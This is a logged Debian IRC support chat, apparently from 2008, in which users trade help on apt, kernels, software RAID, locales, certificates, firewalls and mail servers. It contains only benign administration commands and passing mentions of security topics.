| 09:21.12 | Guerin | dude will never work in pro sports |
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| 09:22.13 | streuner | judd, versions libapache2-svn |
| 09:22.15 | judd | streuner: libapache2-svn -- etch: 1.4.2dfsg1-2 lenny: 1.5.1dfsg1-1 sid: 1.5.1dfsg1-1 experimental: 1.5.4dfsg1-1 |
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| 09:32.26 | vaq | Is there any ftp client that can upload a file to a remote server within a single command line? |
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| 09:34.12 | Guerin | practially any of them |
| 09:34.25 | vaq | also "ftp" ? |
| 09:34.30 | petemc | ncftpput |
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| 09:36.48 | Artificialsynaps | So I'm having an issue installing openoffice because of a dependancy problem where the installation of openoffice.org-core trys to uninstall a TON of stuff ( 300mb worth ) it shouldn't |
| 09:37.04 | Artificialsynaps | Anyone had a simmilar issue? |
| 09:38.32 | Guerin | what branch of debian? |
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| 09:39.08 | Artificialsynaps | etch |
| 09:39.55 | Guerin | seems implausible to me |
| 09:39.59 | Artificialsynaps | 2.6.18-6-k7 |
| 09:40.08 | Artificialsynaps | It's weird.. |
| 09:40.14 | Guerin | put your sources.list and the output of apt-cache policy; on paster |
| 09:40.21 | Artificialsynaps | Yessir just a second |
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| 09:41.02 | Artificialsynaps | http://pastebin.com/m445f5f96 |
| 09:41.06 | Artificialsynaps | There are my sources |
| 09:41.55 | Artificialsynaps | http://pastebin.com/m5cac52af |
| 09:42.03 | Artificialsynaps | There is my cache policy |
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| 09:42.44 | Guerin | <PROTECTED> |
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| 09:42.57 | Guerin | that'll show where it wants to get it from, and what version |
| 09:43.16 | Artificialsynaps | Oh right on.. not too experienced with apt thanks let me do that |
| 09:44.09 | Artificialsynaps | http://pastebin.com/d1465b007 |
| 09:44.15 | Artificialsynaps | Thanks for your help already! |
| 09:44.34 | Guerin | cool |
| 09:44.53 | Guerin | everything looks hunky dory, so the question is: WTF is apt trying to uninstall shit? |
| 09:45.16 | Guerin | output of aptitude update && aptitude install openoffice.org; |
| 09:45.20 | xlotlu | meh. how do i upgrade my dvd burner's firmware given a windows .exe? |
| 09:45.24 | Artificialsynaps | Yessir |
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| 09:46.20 | Artificialsynaps | Oohh I haven't played with aptitude much |
| 09:46.27 | Artificialsynaps | Lots more information here... |
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| 09:47.17 | Artificialsynaps | Wow I think you might already have fixed my problem |
| 09:47.17 | Artificialsynaps | we will see in a minute here |
| 09:47.48 | Artificialsynaps | Hmm... for some reason it removed synaptic |
| 09:47.50 | Guerin | xlotlu: it might be a self-extracting zip |
| 09:47.59 | Guerin | Artificialsynaps: that sounds like a good approach |
| 09:48.15 | xlotlu | Guerin: nope. it's a win32 binary, with a gui too.. |
| 09:48.21 | Guerin | fail |
| 09:48.32 | Guerin | try wine, but don't hold out much hope |
| 09:48.45 | Artificialsynaps | WOW fixed big ups Guerin that's I appreciate your help! |
| 09:49.27 | Artificialsynaps | It removed synaptic for some reason though.. looks like it was some library dependency they share |
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| 09:55.21 | Guerin | Artificialsynaps: hooray for heisenberg uncertainty |
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| 09:56.47 | tuxcrafter | i cant give a good price estimate yet, but i thing a working stripped down version can be as low as EUR120 |
| 09:57.04 | tuxcrafter | and it also depents on the numbers ... |
| 09:57.09 | tuxcrafter | production size |
| 09:57.18 | xlotlu | i think i'll try reactos |
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| 09:57.52 | tuxcrafter | and there will be evolution of the project where the price go further down |
| 09:58.06 | tuxcrafter | wrong channel |
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| 10:06.22 | Firefishe | I am having a horrid time getting my Atheros wireless in my g50v-x1 asus laptop working. I'm not on it now, so I can't do much, but I'm just looking for suggestions right now, anyway. I currently have the madwifi drivers installed, but it's not working. Is there a newer 2.6.27 or .28 kernel in a .deb package with which I can experiment? |
| 10:06.38 | Firefishe | I'm using debian lenny 2.6.26-1-amd64 |
| 10:06.56 | GhostlyDeath | You need to build .28 yourself to use it |
| 10:07.00 | GhostlyDeath | there are no packages for it yet |
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| 10:07.24 | Firefishe | GhostlyDeath: Has anyone backported a .deb perchance? |
| 10:07.35 | themill | GhostlyDeath: which .28 is this? |
| 10:07.39 | GhostlyDeath | Don't know |
| 10:07.50 | jelly-home | 2.6.28 isn't out yet. |
| 10:07.51 | GhostlyDeath | themill: Linux Kernel |
| 10:07.54 | Firefishe | hey themill |
| 10:08.05 | themill | GhostlyDeath: the one that doesn't exist? |
| 10:08.05 | GhostlyDeath | There are 2.6.28-rcX though! |
| 10:08.06 | Firefishe | hey jelly-home |
| 10:08.23 | jelly-home | uh, hey? |
| 10:08.25 | GhostlyDeath | themill: How can it not exist when it exists? |
| 10:08.33 | GhostlyDeath | themill: They are working on it now! |
| 10:08.44 | themill | GhostlyDeath: 2.6.28 hassn't been released. |
| 10:08.46 | GhostlyDeath | They are on release candidate 7 |
| 10:08.59 | GhostlyDeath | themill: Doesn't mean it doesn't exist |
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| 10:09.04 | jelly-home | GhostlyDeath: it doesn't |
| 10:09.05 | themill | GhostlyDeath: the first rc comes out 2 weeks after the cycle starts. It then takes 3 months before the kernel is released. |
| 10:09.25 | GhostlyDeath | jelly-home: So the 2.6.28-rcX is a lie? |
| 10:09.28 | themill | GhostlyDeath: When you can download 2.6.28, *then* it exists. |
| 10:09.32 | jelly-home | GhostlyDeath: it's not "2.7.28" |
| 10:09.38 | jelly-home | s/7/6/ either! |
| 10:09.44 | GhostlyDeath | Is it really version 2.6.27? |
| 10:09.50 | GhostlyDeath | jelly-home: I'm sure you know what I mean |
| 10:09.54 | jelly-home | it is what it is. |
| 10:09.59 | Firefishe | I'd been working with onetinsoldier this past week, but I lost all my data from him. I wouldn't mind doing a custom job using make-kpkg. I can read up on that, but I'm just interested in finding out why my currently compiled modules can't find my hardware. |
| 10:10.13 | GhostlyDeath | jelly-home: It's like saying Linux 2 does not exist |
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| 10:10.22 | themill | GhostlyDeath: wtf? |
| 10:10.28 | GhostlyDeath | But 2.6.26 does |
| 10:10.30 | Firefishe | I'm using madwifi, the .deb source package that came with lenny. |
| 10:10.39 | themill | GhostlyDeath: advising people to grab an RC kernel of unknown buginess is poor advice. |
| 10:11.01 | jelly-home | themill: the people _asked_ for it, though |
| 10:11.02 | GhostlyDeath | themill: Only way to get 2.6.28 |
| 10:11.48 | jelly-home | it's not 2.6.28! :-P |
| 10:12.01 | GhostlyDeath | jelly-home: Think of -rc1 as a revision |
| 10:12.13 | liable | its not butter! |
| 10:12.17 | jelly-home | GhostlyDeath: it's not a revision of 2.6.28. |
| 10:12.34 | GhostlyDeath | jelly-home: Which is why I said "think" |
| 10:12.41 | GhostlyDeath | 2.6.28 Beta! |
| 10:12.44 | jelly-home | simple semantic issue. |
| 10:13.10 | jelly-home | GhostlyDeath: yes. it's not the release. there is no "2.6.28" until Linus says so. |
| 10:13.31 | GhostlyDeath | jelly-home: oh yeah, whatever Linus says goes |
| 10:13.36 | jelly-home | or some other release manager |
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| 10:14.07 | GhostlyDeath | jelly-home: Would you do anything Linus told you? |
| 10:14.34 | jelly-home | however, there is a 2.6.27-1-* build in debian-kernel's people buildservers |
| 10:15.29 | GhostlyDeath | jelly-home: The 2.6.28 is in release candidate stage, which means 2.6.28-rc7 could be 2.6.28 or a later RC could |
| 10:15.49 | jelly-home | GhostlyDeath: I'm not discussing this any more, sorry. |
| 10:15.57 | GhostlyDeath | so in a sense, that last RC is 2.6.28 |
| 10:16.24 | Firefishe | Anyone care to take a crack at my Atheros/Madwifi problems? |
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| 10:16.58 | liable | Firefishe: which chipset do you have? |
| 10:18.25 | Firefishe | liable: That information, unfortunately, is not readily available. I'm on aoother machine and can't get to it at the moment. I do know the card in an AzureWave, so far as the mfr. goes, but that tells little. I know it's an Atheros chipset, although what model escapes me. |
| 10:18.36 | GhostlyDeath | heh, would be like saying it's not Windows 98, but it's Windows 98 4.10.2222 A and that Windows 98 does not exist! |
| 10:18.56 | liable | Firefishe: if you dont have the machine at hand, its a bit hard to help.. |
| 10:19.40 | Firefishe | liable: True. And I think I should probably...oh, there goes the alarm....going to get going, have to take wifey to work. Thanks for the help, all, bbl. |
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| 10:20.00 | themill | GhostlyDeath: I think you need to release that "RC" for the kernel doesn't mean what RC means for other projects. RC doesn't actually mean release candidate, it just means "it's a week since I last put out a tarball and it seems to currently compile". Look at the timelines for the RCs -- the first one is two weeks after the release of the previous kernel and then it takes _3_months_ before the kernel is in good enough shape to release. |
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| 10:21.08 | GhostlyDeath | themill: Then why don't they name it "IWSILPOTISCC"? |
| 10:21.42 | themill | GhostlyDeath: Ask linus. That's purely his choice. He used to call the alpha beta etc but developers weren't testing them enough. |
| 10:22.02 | GhostlyDeath | themill: yeah I'd have to agree there |
| 10:22.23 | GhostlyDeath | themill: I've seen only a few people test alphas and betas but alot of people do RCs |
| 10:22.28 | GhostlyDeath | in other projects anyway |
| 10:22.56 | GhostlyDeath | "You can make a difference, this version could be the released version!" |
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| 10:23.26 | themill | GhostlyDeath: Approximately 30% of the changes from 2.6.25 to 2.6.26 came *after* RC1. There is never any intention that RC[1-7ish] are actually release candicates. Once you get to rc9 or 10 or 11 etc, then you actually get a release, although there are normally some changes between the final RC and the actual release too. |
| 10:25.04 | GhostlyDeath | themill: you got a point there |
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| 10:25.25 | GhostlyDeath | themill: Why use release candidate when none of them will actually be the released version |
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| 10:27.47 | themill | GhostlyDeath: you'd have to ask linus that. But I think you'll find that it's about people management and encouraging a greater focus on code quality. |
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| 10:28.17 | themill | GhostlyDeath: If you're interested, there are a couple of articles on lwn.net that talk about the kernel development process and how it has changed and how it might change again. |
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| 10:44.13 | aronofsky | Hi, how can I know what kernel version is compatible with iptables 1.3.6 from debian stable ? |
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| 10:50.09 | Shifty | hi all |
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| 10:50.50 | enouf | aronofsky: ask judd |
| 10:50.50 | enouf | judd: versions iptables |
| 10:50.50 | judd | enouf: iptables -- etch: 1.3.6.0debian1-5 lenny: 1.4.1.1-3 sid: 1.4.1.1-4 |
| 10:51.06 | enouf | aronofsky: so, you can use the etch .18, the etchnhalf .24, or the etch-backports .26 |
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| 10:51.18 | Shifty | is it possible to create a raid (softraid raid 1)Â over two diffrent harddisks? (/dev/sda 159 gb and /dev/hdb 163 gb) |
| 10:51.33 | enouf | ofcourse |
| 10:51.47 | Shifty | really'? ... cool |
| 10:51.49 | sep | but you can only use the lower size |
| 10:51.55 | Shifty | of course |
| 10:52.54 | Shifty | but i can use the diffrence for swap? |
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| 10:55.38 | ShishKabab | Hi. |
| 10:55.51 | Shifty | hi |
| 10:56.38 | ShishKabab | How do I install the Oxygen skin for KDE4 without removing my KDE3 installation? |
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| 10:59.55 | Shifty | enouf, its really possible? (one hd is ide and the other sata) |
| 11:00.57 | enouf | Shifty: so what |
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| 11:01.24 | valdyn | !layering |
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| 11:01.27 | valdyn | oo |
| 11:01.52 | Shifty | so it doesnt matter in soft raids? |
| 11:02.03 | valdyn | Shifty: raid operates on block devices |
| 11:02.18 | valdyn | Shifty: it does not care how those block devices are physically implemented |
| 11:02.42 | Shifty | ok, thx valdyn |
| 11:03.35 | enouf | Shifty: you might not get as good performance as you would from 2x SATA 2.x on AHCI using NCQ or whatever - but it'll work fine |
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| 11:04.03 | enouf | Shifty: install mdadm, and read /usr/share/doc/mdadm/* and the md* man pages |
| 11:04.43 | Shifty | yeah thx, i know the performance problem ... but it doesnt matter ;) |
| 11:04.59 | Shifty | i already worked with mdadm, but thx anyway |
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| 11:05.33 | enouf | Shifty: well, better get aquainted with where the debian config files are - (for ex; note, /etc/default/mdadm) |
| 11:05.56 | enouf | as well as /etc/mdadm/mdadm.conf |
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| 11:06.59 | Shifty | sure |
| 11:07.07 | Shifty | g2g offline, install the server :D |
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| 11:08.13 | enouf | going to google offline? :-P |
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| 11:08.43 | enouf | accepts a 10q from whomever |
| 11:09.39 | hugh_SH | hi geeks, if i want to let my debian(X, gnome or kde not installed) display Chinese character correctly, what should I modify? tks in advance |
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| 11:09.57 | enouf | install the correct fonts |
| 11:10.25 | enouf | and setup the proper locales - /msg dpkg locales - and /msg dpkg keymap (might also be helpfu;) |
| 11:10.32 | hugh_SH | en, ok, tks. |
| 11:10.50 | hugh_SH | I've actually selected simplified chinese when I was installing the system |
| 11:10.57 | hugh_SH | locale should be ok. |
| 11:11.08 | enouf | should be != is ;-) |
| 11:12.13 | hugh_SH | hehe, i'm downloading chinese char set. uming & ukai, i will go back here if that won't solve my problem. :) |
| 11:12.22 | enouf | check to see also what output of 'locale' is as username - also note /etc/default/locale and maybe even /etc/environment .. hrm, not sure if the /etc/console*/* are applicable here |
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| 11:13.30 | wiedenmann | I have an ssh certificate in file root.cer How can I view it? is there any information within it except the key? |
| 11:13.33 | hugh_SH | all is zh_CN.UTF-8 when issuing 'locale' command. this should be correctly set. |
| 11:14.54 | slicer_ | wiedenmann: you use nano, or try links2 |
| 11:15.43 | wiedenmann | slicer_: I dont understand. I have a file its content is: -----BEGIN CERTIFICATE----- ZtV7.... |
| 11:16.04 | slicer_ | nor do i wiedenmann |
| 11:16.37 | awk | wiedenmann: the rest is encrypted... its the ssl |
| 11:16.42 | awk | cert |
| 11:17.16 | enouf | wiedenmann: '/msg dpkg rootca' and '/msg dpkg apache mod-ssl' might give you some info about what's within it, otherwise, i dunno |
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| 11:17.22 | vinay` | hm.. are any of you apt experts? |
| 11:17.26 | vinay` | i am trying to figure out apt pinning |
| 11:17.31 | vinay` | is it possible to pin a specific version? |
| 11:17.33 | enouf | !pinning |
| 11:17.34 | dpkg | Pinning is a method to choose packages when multiple repositories are enabled in sources.list. man apt_preferences, http://wiki.debian.org/AptPinning Bugs are explained at http://www.xs4all.nl/~carlo17/howto/debian.html If you use stable, pinning won't help you from messing up the system... use <backports> instead. |
| 11:17.38 | enouf | done ;-) |
| 11:17.52 | enouf | ofcourse it is |
| 11:17.59 | enouf | man apt_preferences |
| 11:18.06 | wiedenmann | I have a file rootcert.crt the certificat itself. I think its ssimilar to those of the package ca-certificate. Is there anything saved withing the certificate such as the name or expiration dates? Is there a programm to take a closer look at a crt-file? |
| 11:18.11 | moldy | how is python's sys.path set? |
| 11:18.21 | enouf | oh .. duh .. the factoid mentions that |
| 11:18.27 | vinay` | enouf: thanks, i will check this out =) |
| 11:18.48 | GhostlyDeath | How do I print a package's information? |
| 11:19.08 | enouf | GhostlyDeath: show and showpkg? |
| 11:19.10 | vinay` | GhostlyDeath: dpkg -i packagename.deb |
| 11:19.27 | vinay` | or is it -I? |
| 11:19.29 | vinay` | it is one of the two |
| 11:19.31 | GhostlyDeath | an installed package |
| 11:19.31 | enouf | GhostlyDeath: apt-cache {show,showpkg} pkgname |
| 11:19.33 | vinay` | one installs, the other gives info |
| 11:19.53 | GhostlyDeath | thanks enouf |
| 11:19.59 | GhostlyDeath | Also |
| 11:20.06 | enouf | vinay`: dpkg -i is for installation |
| 11:20.08 | GhostlyDeath | How can I snip the beginning of Version of? |
| 11:20.12 | GhostlyDeath | off* |
| 11:20.17 | enouf | use cut or awk |
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| 11:21.29 | awk | use me for what, my body? O_O |
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| 11:21.51 | enouf | GhostlyDeath: if you just want version, use dpkg -l pkgname | awk '{ print$2 }' for example or something |
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| 11:22.06 | bp0 | was only soylent green people? |
| 11:22.12 | bp0 | or red and yellow alos |
| 11:22.16 | bp0 | *also |
| 11:22.19 | bp0 | i dont remember |
| 11:22.57 | GhostlyDeath | enouf: that works, and it was $3 |
| 11:22.58 | GhostlyDeath | thanks |
| 11:23.11 | enouf | GhostlyDeath: might be an easier way - but this works |
| 11:23.12 | enouf | $ dpkg -l hdparm | awk '{ print$3 }' | tail -n 1 |
| 11:23.12 | enouf | 8.9-2 |
| 11:23.30 | enouf | np |
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| 11:25.49 | enouf | GhostlyDeath: apt-cache policy <pkgname> might also help you with whatever it is you want to know ;-) |
| 11:26.07 | GhostlyDeath | enouf: just making a simple script that makes a debian package |
| 11:26.53 | enouf | GhostlyDeath: ok - cool - note that you should run 'update' often to keep versioning lists up to date (what's available, etc) |
| 11:27.25 | GhostlyDeath | enouf: It isn't done automatically? |
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| 11:29.40 | enouf | GhostlyDeath: if you run update it is :-P |
| 11:31.13 | GhostlyDeath | enouf: what about dist-upgrade? |
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| 11:31.27 | enouf | what about it? |
| 11:31.37 | enouf | !reference |
| 11:31.37 | dpkg | The Debian Reference will answer most of your questions about Debian. Latest version at qref.sourceforge.net, or http://www.debian.org/doc/manuals/reference/#contents . Read it after installing Debian, and before asking for support, as it is the closest thing Debian has to a manual. You can install it too, the packagename is "debian-reference", 'aptitude install debian-reference'. |
| 11:31.57 | GhostlyDeath | enouf: I upgrade my system with dist-upgrade |
| 11:32.17 | enouf | !dist-upgrade |
| 11:32.17 | dpkg | dist-upgrade tells apt to also install or remove packages when handling dependencies; some security updates to stable require a dist-upgrade to install (they introduce new packages). Dist-upgrade does not mean changing from stable to testing; aptitude in Lenny has renamed dist-upgrade to full-upgrade to remove this confusion. Read man apt-get carefully. Also see <why not dist upgrade>, <sarge->etch>, <etch->lenny>, or <full-upgrade> |
| 11:33.24 | GhostlyDeath | hopefully I'm not doing anything bad when I get all new packages |
| 11:33.50 | awk | yay my lenny upgrade worked flawlessly! |
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| 11:34.32 | GhostlyDeath | Now to figure out how to set up a chroot environment that will act like linux inside of linux |
| 11:34.47 | awk | GhostInTheShell: read debian security howto |
| 11:34.51 | enouf | !debootstrap |
| 11:34.52 | dpkg | well, debootstrap is <caphuso> get the debootstrap source from http://packages.debian.org/debootstrap, compile it, read the man page, install debian with it </caphuso> Useful for installing in a <chroot>. http://people.debian.org/~walters/chroot.html, or see http://wiki.debian.org/Debootstrap, or key to Installing Debian GNU/Linux from a Unix/Linux System. See to the release specific Debian GNU/Linux Installation Guide for more details. |
| 11:35.49 | awk | enouf: errr, thats a bit difference, make-jail, etc... |
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| 11:36.44 | enouf | awk: or .. use a VM .. depends what the purpose of the chroot is |
| 11:37.22 | awk | linux-vserver is fantastic though |
| 11:37.42 | superjet_busy | have installed gstreamer0.10-pitfdll and codecs in /usr/lib, modified config for totem, however, it still can't play rmvb in totem, anyone else? debian/testing |
| 11:38.07 | superjet_busy | ** Message: Missing plugin: gstreamer|0.10|totem|RealVideo 4.0 decoder|decoder-video/x-pn-realvideo, rmversion=(int)4, format=(int)1073758208, subformat=(int)17305632 (RealVideo 4.0 decoder) |
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| 11:38.56 | ceil420 | ewww rm |
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| 11:43.19 | valdyn | superjet_busy: why /usr/lib ? did you mean /usr/lib/w32codecs ? |
| 11:43.21 | v1k1ng0 | hello |
| 11:43.30 | v1k1ng0 | someone that can help me about apache php5 module + apache2 + debian? ;-) |
| 11:43.31 | superjet_busy | valdyn: /usr/lib/codes |
| 11:43.39 | superjet_busy | valdyn: /usr/lib/codecs |
| 11:44.03 | superjet_busy | valdyn: as it's the default position of mplayer |
| 11:44.15 | enouf | symlink? |
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| 11:45.11 | superjet_busy | no |
| 11:45.17 | GhostlyDeath | There a way to print the debian version such as etch, lenny, etc.? |
| 11:45.28 | superjet_busy | mplayer/xine both work |
| 11:45.49 | GhostlyDeath | oh it's in /etc/ not /proc |
| 11:45.50 | enouf | superjet_busy: it's been changed - used to be . or something |
| 11:46.09 | enouf | !tell GhostlyDeath -about version |
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| 11:46.35 | superjet_busy | enouf: where now? |
| 11:46.52 | enouf | GhostlyDeath: you appear to be the type that dpkg the bot could help immensely .. in pm ;-0 /msg dpkg msgthebot |
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| 11:47.28 | jpinx | anyone know anything about upgrading the guest OS on a xen vps? |
| 11:47.36 | enouf | superjet_busy: i think they just did away with the entire w32codecs dir/ or something - it was a symlink into where you are or something |
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| 11:48.22 | jpinx | is the a special entry for sources.list for xen vps's? |
| 11:48.34 | GhostlyDeath | heh |
| 11:48.57 | Iradieh | Does anyonme |
| 11:49.06 | Iradieh | Does anyone here use Awesome tiTiling=? |
| 11:49.29 | ebrahim | Is there something like a differential dpkg or any discussion about it? (dpkg with deb's containing only difference of version instead of complete software for each version) |
| 11:50.02 | enouf | ebrahim: you mean .diff files? or ... |
| 11:50.36 | ebrahim | enouf, I don't think that is suitable for binaries. but some general form of diff and patch. |
| 11:50.37 | enouf | needs a nap - see ya later folks |
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| 11:52.46 | sep | ebrahim, exactly why are there not a rsync:// method in sources.list, that can use the previous version .deb and just transfer the differences :) :) |
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| 11:53.05 | AYI | <PROTECTED> |
| 11:53.12 | AYI | hey i need to find this package |
| 11:53.22 | AYI | but i can find source package |
| 11:53.28 | AYI | and i built with my hands |
| 11:53.34 | AYI | but that does not work |
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| 11:53.48 | tralala | !wayttd AYI |
| 11:53.48 | dpkg | What Are You Trying To Do, AYI? |
| 11:54.15 | AYI | i try to work dbdesigner4 |
| 11:54.25 | ebrahim | sep, I think it can be done more intelligently. rsync on already-compressed deb's seems less efficient than content-aware binary-and-test diff of the uncompressed content. |
| 11:54.29 | AYI | i download rpm and i use alien covert to deb |
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| 11:54.44 | AYI | and some tutorial said you need xlibs package |
| 11:55.05 | AYI | xlibs package depends xkeyboard-config |
| 11:55.08 | valdyn | AYI: dont do this, its the worst possible solution |
| 11:55.18 | AYI | for what ? |
| 11:55.23 | AYI | for dbdesigner4 |
| 11:55.25 | AYI | ? |
| 11:55.47 | sep | ebrahim, deb's in debian are made with gzip --rsyncable |
| 11:55.49 | AYI | what can i do to work dbdesigner4 |
| 11:56.01 | AYI | valdyn, |
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| 11:56.12 | ebrahim | sep, nice! |
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| 11:56.33 | ebrahim | didn't know about --rsyncable |
| 11:56.49 | AYI | hmm |
| 11:56.57 | AYI | are there any suggestion |
| 11:57.08 | sep | ebrahim, i am not sure how much resources that one chage does on the combined mirrors of debian but it must be substancial |
| 11:57.22 | valdyn | AYI: are you to lazy to use google? |
| 11:58.00 | ebrahim | sep, still I'm sure my idea works better. Think about bzip2 and lzma. |
| 11:58.51 | ebrahim | sep, And if you diff text files before compression, it must be much better |
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| 11:59.21 | ebrahim | another advantage is not forcing rsync to client |
| 11:59.35 | ebrahim | not all clients are power-users. |
| 11:59.46 | ebrahim | and HTTP seems to be unavoidable default |
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| 12:02.18 | ebrahim | sep, ^ |
| 12:02.35 | ebrahim | I wonder if anybody has though about it already |
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| 12:05.50 | [biabia] | i asked in here about trouble with my screen resolution. ( i i cant figure out how to change it from 640x480) someone suggested the command: lspci | grep VGA which shows VGA compatible controller ATI RS480 |
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| 12:06.07 | hmtt | hi all |
| 12:06.46 | [biabia] | im not sure what to try now |
| 12:08.24 | sep | ebrahim, probably would use a lot of cpu on all mirrors thoø |
| 12:08.28 | sep | it's a complex picture |
| 12:08.58 | sep | ebrahim, but this is debian so you can implement it if you have the time :d |
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| 12:09.03 | ebrahim | sep, yes. that's a problem. we should see how much it saves bandwidth |
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| 12:09.41 | ebrahim | sep, and even maybe processor time! because after diffing we compress smaller files. |
| 12:10.28 | ebrahim | sep, do you know any good place to submit this idea and receive comments and improvements? Is dpkg.org wiki good for this? |
| 12:11.02 | sep | debian-devel irc channel or mailinglist |
| 12:12.03 | ebrahim | hm |
| 12:12.36 | ebrahim | sep, I'm afraid they expect me to provide some PoC code! :D I don't have the time : |
| 12:12.41 | ebrahim | :| |
| 12:13.08 | ebrahim | has an idea, but not enough time to implement it |
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| 12:15.20 | sep | ebrahim, just like most of the world |
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| 12:16.12 | sep | ebrahim, if you dont have the time to spearhead the idea, it's not going to happen. |
| 12:16.28 | tuxcrafter | hi all am getting the message pspck is already loaded when my kernel is booting |
| 12:16.34 | tuxcrafter | i get this on sevral systems |
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| 12:16.43 | tuxcrafter | why is this and what to do about it? |
| 12:17.17 | peleg | is there an escape character that reverses the order of appearance for what comes after it (in the terminal) ? |
| 12:17.36 | awk | hrm, the right way of doing a kernel from an old config, do I really need to run make oldconfig or can I simply cp /boot/config-(uname -a) /usr/src/linux/.config && make menuconfig && load config, specify the .config *save* quit && ..... ? |
| 12:18.00 | peleg | most GUI editors are smart enough to reverse the order of characters when I type in Hebrew; I wonder if it can be done in the terminal |
| 12:18.11 | ebrahim | peleg, you mean letter-by-letter to start of line? |
| 12:18.24 | ebrahim | peleg, aha! you mean RTL languages. |
| 12:18.24 | petemc | awk: i think you need to use oldconfig, some stuff will have changed - why are you compiling kernels anyway? |
| 12:18.25 | peleg | ebrahim, letter-to-letter indeed |
| 12:18.30 | peleg | ebrahim, right |
| 12:19.39 | ebrahim | peleg, I don't think such a thing exist as a escape char, but smart terminal emulators, such as Konsole, support RTL languages. |
| 12:20.14 | peleg | ebrahim, Konsole is good for Gnome? |
| 12:21.07 | peleg | I am trying to find something for Gnome, and by its name, it looks like it involves installation of many KDE libs |
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| 12:22.02 | awk | petemc: why would anyone want a custom kernel :D |
| 12:22.18 | Zharf | awk, for custom purposes |
| 12:22.22 | jpinx | I need to install custom kernel for a xen host |
| 12:22.26 | awk | Zharf: thank you. |
| 12:22.35 | petemc | no need to be a dick |
| 12:22.50 | Zharf | who's being a dick? |
| 12:22.51 | awk | lol, sorry if i came across like that |
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| 12:23.19 | petemc | some people have silly ideas, like a debian kernel image is 'slower' than a custom kernel |
| 12:23.24 | awk | petemc: peace? :) |
| 12:23.36 | awk | petemc: naaa, using it for grsec + for use of rbac |
| 12:24.05 | awk | and want to test out some new PaX features |
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| 12:25.13 | awk | hmm, was this patched Debian GNU/Linux (symlink attack in login) Arbitrary File Ownership PoC? |
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| 12:26.59 | ebrahim | peleg, I don't know about Gnome! ;-) |
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| 12:28.49 | peleg | ebrahim, thanks |
| 12:29.31 | ebrahim | peleg, you're welcome |
| 12:29.42 | jelly | awk: not in stable, see bugs.debian.org/505271 |
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| 12:30.13 | awk | hrm, this is most probabbly normaly to somebody else but check this, I have a hyperlink linux that points to linux-2.6..... right so I delete the linux-2.6..... so it doesn't have a reference, I was thinking it was a tar.gz file for the kernel image so i go tar -zxf linu *tab* it does nothing, then I realised its a bz2 file so I change it to tar -xjf li *tab* and that works, so it actually worked out it was a bzip2 file and tabbed acordigly |
| 12:30.40 | jelly | awk: if you worry, just remove setgid from your setgid utmp apps. screen will work fine without it, for example |
| 12:31.11 | awk | jelly: thanks :) |
| 12:31.36 | paolino | not sure, my problem is debian related and not ubuntu. I cannot stop pppd (I believe) from rewriting /etc/resolv.conf, even though there is no usepeerdns option in /ppp/peer/dsl-provider which is invoked via pon dsl.provider. Is there anything else I must look to resolve this ? |
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| 12:32.39 | jelly | paolino: does resolv.conf mention "resolvconf" (note the absence of .)? |
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| 12:33.59 | jelly | paolino: (also, if you're not using debian, please ask in the appropriate distro channel; debian solutions might be unoptimal or just wrong) |
| 12:34.38 | Midur | Hello. I have a realtek r8168 which is unable to get an IP from DHCP (known bug if I search it on google) however, I know where I can download the good driver.. but using netinstall or cd1 from debian im unable to use 'make' etc |
| 12:34.47 | Midur | how do i enable/compile the new mod? |
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| 12:35.51 | paolino | jelly, I try there then, thanks |
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| 12:36.16 | Shifty | what could be the problem:Â i cant access to the internet with my new installed server... i can access it over the lan with ssh, no probs... and i can access it over the internet (external address) but i cant get from the server out in the i-net |
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| 12:37.18 | machterka | hi folks, i look for a way to migrate my architecture distrib from 686 to amd64 under etch. do you have some recomendation how to do it please? |
| 12:37.22 | biaXXhe | how do i check for listening ports? |
| 12:38.32 | petemc | biaXXhe: netstat |
| 12:38.44 | petemc | or nmap from an external host |
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| 12:39.21 | awk | anyone here still using qmail for thei mta? |
| 12:39.28 | ebrahim | sep, hey! I'm not the first person! http://flyingreptile.livejournal.com/101020.html |
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| 12:41.26 | Shifty | hi all |
| 12:41.32 | ebrahim | even it has an implementation! debdelta |
| 12:42.01 | Shifty | what could that be: i cant reach the internet from my server (ping, apt) but i can reach the server from the internet? |
| 12:42.38 | ebrahim | Shifty, any firewalls between? |
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| 12:42.43 | Shifty | yes |
| 12:42.58 | Shifty | but it worked before the new installation ... |
| 12:43.08 | Shifty | was sles 9 ^^ |
| 12:43.15 | Shifty | and now it doesnt :( |
| 12:43.27 | pa7iQ | how can I list the assigned ip addresses of dhcpd ? |
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| 12:44.16 | Neaai | Shifty: does the same continue if you shutdown the firewalling ? |
| 12:44.29 | Shifty | didnt try ... |
| 12:45.39 | Neaai | Shifty: also, before, did you have maybe the opposite case? As in the world couldn't ping you, but you could ping the world ? |
| 12:45.50 | Shifty | ok, it is the firewall :( |
| 12:46.15 | Shifty | deactivated it and wuala ... inet works .... now i have to search the bug :( |
| 12:46.46 | [biabia] | trouble with my screen resolution. (i cant figure out how to change it from 640x480) someone suggested the command: lspci | grep VGA which shows VGA compatible controller ATI RS480 [its a dual boot machine and on fedora it uses 1024x768] |
| 12:47.09 | biaXXhe | how do i uhm, monitor what a user is doing? ... i wanna see his terminal |
| 12:47.38 | Neaai | Shifty: see whether the interface convention is still the same. Like, eth0 was and still is 'outside', eth1 was and still is 'inside', and so on. A swap of those conventions will literally flip your firewall "inside out". |
| 12:47.41 | [biabia] | screen? |
| 12:48.02 | biaXXhe | hmm.. wil lthat work? i wanna get into his login session |
| 12:48.28 | Shifty | Neaai, the device is the same ... but the name changed from eth0 to eth1 on the server ... but that shouldn be a problem right? |
| 12:48.45 | [biabia] | im not a master at screen but i think you can attach to his session if you know how |
| 12:49.06 | awk | anyone here still use qmail? |
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| 12:49.36 | Neaai | Shifty: as long as the refferences have changed, it shouldn't matter. If the interface was eth0 and is eth1, also the refferences should address eth1 and not eth0 |
| 12:49.37 | petemc | awk: not very many people, im sure |
| 12:50.05 | awk | petemc: I just wish I could get a straight answer if its is a security risk running it |
| 12:50.09 | Shifty | yeah |
| 12:50.13 | Shifty | well i restart my firewall |
| 12:50.15 | Shifty | brb |
| 12:50.56 | Neaai | awk: qmail is has a good record when talking security, that's what I hear around. It's claimed to be among the strongest secure. |
| 12:51.36 | petemc | it just lacks some features that make it a vaible mta in todays world |
| 12:51.43 | petemc | s/vai/via/ |
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| 12:53.22 | awk | Neaai: yes, but i just have not seen allot of dev for a few years now.. I do see work on patches, etc... it works perfectly for me, I can't find any exploits for it... just wondering |
| 12:54.00 | awk | anyway its not a debian question i'll try source my info elsewhere... it would be nice seeing it part of the debian package manager :D |
